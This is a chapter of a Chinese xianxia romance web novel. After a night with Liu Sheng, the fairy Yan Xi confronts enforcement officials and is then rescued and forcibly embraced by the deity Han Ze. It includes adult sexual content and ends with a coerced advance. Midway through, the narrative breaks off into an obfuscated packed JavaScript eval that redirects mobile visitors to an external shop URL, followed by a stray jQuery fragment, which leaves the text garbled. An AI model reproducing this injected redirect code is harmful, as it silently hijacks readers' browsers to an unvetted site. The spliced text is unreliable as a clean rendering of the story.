燕夕几乎一夜未睡,到寅时唤晓铃响起之时,她又匆忙推开了柳生,给身上来了几个清洁术后便准备穿衣下床。

    柳生一把揽住了燕夕的腰,将她压回了身下,吻着她的脖颈眷恋不舍地问道:“就这么中途把我扔下?”

    “哪是中途?都多少次了?起来,我要去工作!”燕夕无奈地推着柳生。

    “没多少次,”柳生微微不满,抚摸着身下柔滑的人儿,“这回温柔了些,动作慢了不少,而且,给你按摩酸处也耽误了不少时间。”

    “这回?”燕夕注意到柳生话里的怪异之处,却误解为了他在对比与其他仙子的情事,不悦地说道,“若是没满足,找别人去!”

    她再次推开了柳生,若不是柳生这晚的确是很温柔,她都想一脚将人踹下床了。

    “我的确是没满足.....”柳生坐在床上,盯着燕夕的背影摆出了一副可怜的样子,小声问道,“今晚还可以继续吗?”

    “不行,以后都不行!只此一次!”燕夕边穿着衣服,边果断又无情地拒绝。

    身后的男人竟然撒起了娇:“可是燕夕真的好软、好香,想再吃几次......”

    燕夕懒得搭理。

    哪知那男人竟更加的得寸进尺了:“燕夕给我生个孩子好不好?听说只要卸下防备,仙子也是很容易怀孕的......”

    燕夕回头,怒视着他,骂道:“滚!”

    骂完,便不理会垂着头兀自笑个不停的柳生,推开房门飞了出去。

    这一次双修,燕夕依然能感觉到仙元有所加强,但依旧没摸到晋升的契机。她有些困惑,不知是这上仙的境界实难突破,还是其他什么原因。

    她想唤醒双修系统问问缘由,可喊了好几声依旧没有回应。

    那邪祟该不是个骗子吧?

    她忍不住去想。

    可晋升上仙是事实啊......

    想不通的她晃了晃脑袋,决定暂且不纠结于此事,反正事到如今自己也没有什么损失,还是按计划行事,睡满四十九个男人再说吧。

    收集完三棵仙台树的仙露,飞到西边那棵受损的仙台树附近时,燕夕感受到了从树干旁边投射过来的凌厉的目光,紧接着,看到了几道冲她飞来的身影。

    “来者何人?!”

    那几道身影停在了燕夕身前,现出了几张严肃冷漠的脸。

    瞥见几人身上的绛朱色官服,燕夕便知他们是天衡院的执法仙官。略一思量,已猜到他们是为仙台树受损一案而来。

    执法仙官普遍都是金仙等级,那是天庭仙班中,除了执掌神兵利器的神武院外,最强大的战力。

    燕夕不敢怠慢,微微欠身,有礼有节地回答道:“诸位仙官,小仙乃仙露司仙露侍,依例前来收集仙露。”

    几位执法仙官对视了几眼,严厉地拒绝道:“不行!天衡院院长有令,在西仙台树受损一案查得水落石出之前,任何闲杂人等不得靠近仙台树!”

    “我并非闲杂人等,”燕夕一听这话便有些着急了,上前几步据理力争道,“仙台树属于我仙露司,收集仙露是本就是我的职责。仙露珍惜无比,日出则散,怎可等待案情查清后再收集?那将白白浪费多少仙露!”

    可执法仙官全然不听她的分辩,语气愈发凌厉,周身仙力涌动,已摆出了出手之势:“此乃院长亲令!立即退开,若再上前,休怪我等依法行事!”

    “依法行事?你们依的什么法?!”

    燕夕气急,将琉璃瓶单手抱在身前,右手掌中已经凝聚出一抹寒光。她之所以敢硬碰硬,是因为她怀里抱着的,可是供奉神明的仙露!

    她故意夸大其词,“我今日收集的这一大瓶仙露可是要呈送天帝的万象殿,和玄曜剑尊的朝宗殿里去的,你们若是碰撒了一滴,莫说你们,就是刑天院长亲至,也担待不起!若再阻挠,误了天帝和神尊们的用度,这罪责……自由你们天衡院来担!”

    几位执法仙官显然是被燕夕震慑住了,身上的气势明显弱了许多。燕夕见状,便收了手上的寒光,冷哼一声,从几人中间从容不迫地飞了过去。

    正当她以为不会再受到阻拦时,身后又传来了几人的急声喝止:“慢着,容我禀报院长!”

    还禀报院长??你们得先呈报阁主吧?等阁主再上呈院长,院长再下达口谕,他爷爷的天都亮了!

    燕夕气得咬牙,不打算理会几人,直接朝仙台树结界飞了过去。可身后,立马传来了几人的怒喝:“站住!”

    燕夕回头,见几人朝她飞出了捆仙锁,立刻甩出一面坚固的玄铁盾牌挡在了身前。

    眼看金光流烁的捆仙锁就要撞上银盾,一道金辉从天而降,将那数道锁链齐齐震飞了出去。

    当激烈碰撞的光华落下去时,寒泽的身影,出现在了满脸惊愕的众人眼前。

    他身穿一身玄黑为底、银辉为饰的太虚流云袍,袍身如同裁剪自一片万古长夜,深蓝色的星云穿梭在流动的银色月华之间,那种寂寥又深沉的墨色衬得他脸色更加的白皙,神色更加的淡漠,让他整个人看上去高贵又疏离,仿佛化作了星河的尽头那触不可及的虚无幻象。

    不得不说,寒泽的出场,足够的震撼也足够的惊艳。

    燕夕盯着那美得心惊动魄的身影,足足发了半刻钟的呆,期间,都未听清寒泽训斥仙官的话语。直到寒泽赶走了那几位仙官,飞到她身前,将他那张完美的脸凑得越来越近,近得几乎要贴上她的鼻尖时,她才猛然反应了过来,往后退了一步,却一不小心,没控制好仙力,一脚踩进了虚空之中。

    “小心,”寒泽立刻揽住了燕夕的腰,将她带进了怀里,同时,紧紧地抓住了她手中的琉璃瓶。

    燕夕撞上了寒泽的胸膛,闻到了一股熟悉的清雅花香,她抓着寒泽的仙袍,走神地想了想:许是雪莲花香吧?

    花香萦绕,温暖的怀抱挡下了凌晨的寒凉。不知是谁的心跳,在这寂静无人的昏暗天空中越敲越响。燕夕一时间忘了推开寒泽,她垂着头,只觉得耳根越来越烫。

    “燕夕,是否......身体不适?”

    当头顶那温柔至极的声音响起时,燕夕猛然清醒,尴尬地松开了寒泽,从他怀里飞了出来。

    她双手置于腰侧,低垂着眼眸恭恭敬敬地向寒泽行了一礼,“多谢上神出手相助。”

    这句话,好像说过很多次了......

    寒泽总是能在她遇到难处时及时出现。

    一次两次还能说是偶然,可这么多次.

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571929|204047||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    .....偶然还说得过去吗?

    可是,寒泽他说过不喜欢我的,还说过不止一次......

    燕夕实在是捉摸不透寒泽的心思,方才在心中生出的那股悸动很快变成了烦躁,脸色也冷淡了下来。她飞上前十分冷漠地拿走了寒泽手上的琉璃瓶,然后一言不发,转身就飞向了那棵受损的仙台树。

    寒泽立刻跟了上去,看着燕夕突然冷下去的脸,十分疑惑又有些心慌。

    “是我做错了什么吗?”寒泽小心翼翼地问道。

    燕夕没有搭理寒泽,只想先把仙露收集完了再说。她落到了地面,从第一个平台开始,认认真真地工作了起来。

    而堂堂天衡院院长、受万仙敬仰的上神寒泽,就像是一只听话大狗狗一样,曳着他那身奢华名贵又稀有的仙袍,亦步亦趋地跟在了燕夕身后。

    收集完仙露,燕夕用仙术封好了琉璃瓶的瓶口,这才看向了身旁那漂亮得像是一只花孔雀似的寒泽。

    她还有一事也不是很理解:为何寒泽昨日还那般的阴沉,今日就变得如此容光焕发了?

    她上下打量着寒泽,问道:“上神,昨日刑天上神没有来找你麻烦么?”

    “来过,被我打跑了,”寒泽脸上露出了天真的笑。

    燕夕嘴角抽了抽,小声嘟哝道:“所以是打了胜仗心情变好了?”

    “燕夕在说什么?”

    寒泽朝着燕夕凑了过去,非常自然地握住了燕夕的脸颊,就像昨晚他捧着她的脸亲吻她唇瓣时那样。

    燕夕却吓了一跳,挥手打开了寒泽的手。她瞪着寒泽,眉头深深蹙起。

    这人到底是怎么回事?明明说过不喜欢我的,可这些暧昧的动作又是怎么回事?

    燕夕想不明白,心里也冒起了火。她不想再与寒泽扯上关系,因为最近每次一看到寒泽,心里总泛出一股莫名其妙的心痒。这让她感觉十分危险,若是越陷越深,扰乱了心绪,晋升上神的计划恐怕会毁于一旦。

    于是,她便当着寒泽的面扯开了外袍,拉开了衣襟,将被柳生种下无数吻痕的肩颈袒露在了寒泽眼前。

    “昨晚与人春风一度的时候落下的,上神觉得好看吗?”

    燕夕缓步上前,冰冷的眸子一直注视着寒泽的脸,“小仙实在不知上神为何如此纠缠小仙,莫非是心里对小仙还有所期待?若真如此,还请上神放下此念,小仙并非上神所盼之人。”

    话已经说得很明白了,燕夕相信以寒泽的身份,定然不会放不下一个多情的女人。可没想到,寒泽的眼神竟变得越来越奇怪。

    她看着他的视线下滑,看着他盯着自己袒露的肌肤,露出了毫不掩饰的贪婪。看着他喉结滚动,然后薄唇轻启探出舌尖。

    他歪着头舔了下唇。

    气氛,突然就变得微妙了起来。

    预感到不妙的燕夕猛地后退,却被一股无法抗拒的神力扯到了寒泽怀里。

    她紧贴着寒泽的胸膛,后腰被寒泽握住,纤长的脖颈已经落入了寒泽的口中。

    昨晚被柳生吸吮得发红的地方,再次在寒泽的舔.弄下泛出了丝丝刺痛。

    压抑得发哑的声音在耳畔响起:

    “燕夕......你还真会勾引人......”